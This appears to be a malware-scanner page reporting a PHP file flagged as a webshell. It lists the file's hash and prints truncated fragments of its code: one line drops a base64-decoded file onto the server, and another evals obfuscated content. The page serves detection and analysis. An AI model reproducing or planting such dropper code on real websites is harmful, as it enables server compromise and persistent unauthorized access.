Hostile 99% php Download

a85d227b2a25fc52a9d2057ec140d7af58628c192530123fbdafb5ee19e0d754.php

php webshell containing base64 encoded payloadEncoded content decoded: base64
SHA-256a85d227b2a25fc52a9d2057ec140d7af58628c192530123fbdafb5ee19e0d754
MaleculeMdTh

Evidence

Encoded content decoded: base64 line 1
1<?php $r=dirname(__FILE__)."/../fm_27156.php";$w=@file_put_contents($r,base64_decode("PD9waHANCg0KJGkxaT0nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoJT2JmdXNjYXRpb24gcHJvdmlkZWQgYnkgVW5rbm93bmRldmljZTY0IC0gRnJlZSBPbmxpbmUgUEhQIE9iZnVzY2F0b3INCgkJCQlodHRwOi8vd3d3LnVkNjQuY29tLw0KPT09PT …
php webshell containing base64 encoded payload line 1
1:26315… VG9Sd0pRdy9GTzR5U0tNOVV5akQ1N0RpMUFJYmJyZGJHellQWTNFS2xNRU44TUhnZ3AyQlovdi9NY0J1Tlp6aVFWUHNETDVCdzZWb2oyNEE5QXJDNi8valI9IikpKTtAZXZhbCgkdUQ2NF9jMG0oJyRrMHhFbT0iTUlLb29nZjRSQzJJYmh1UXY3a0R3aDB4WE5kZllNVGNZZEVTcGJuQlFZOEhtZDVmSGRhR3lJZ3FpYTdVcXY4QysyTkw1Q05abTV4bVVZMG9KWUdjQzcwU1Q3NWRmSlBUOG40TDA5cGx6c2RJRlQvR2pKUEVCWUJCVmx2dGgwYVVpSUJRYVFkL2I3dittcXdGZXNORkdsRTBlRWxLU1U5cmhDY0lTcFdjZ1RqZ …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.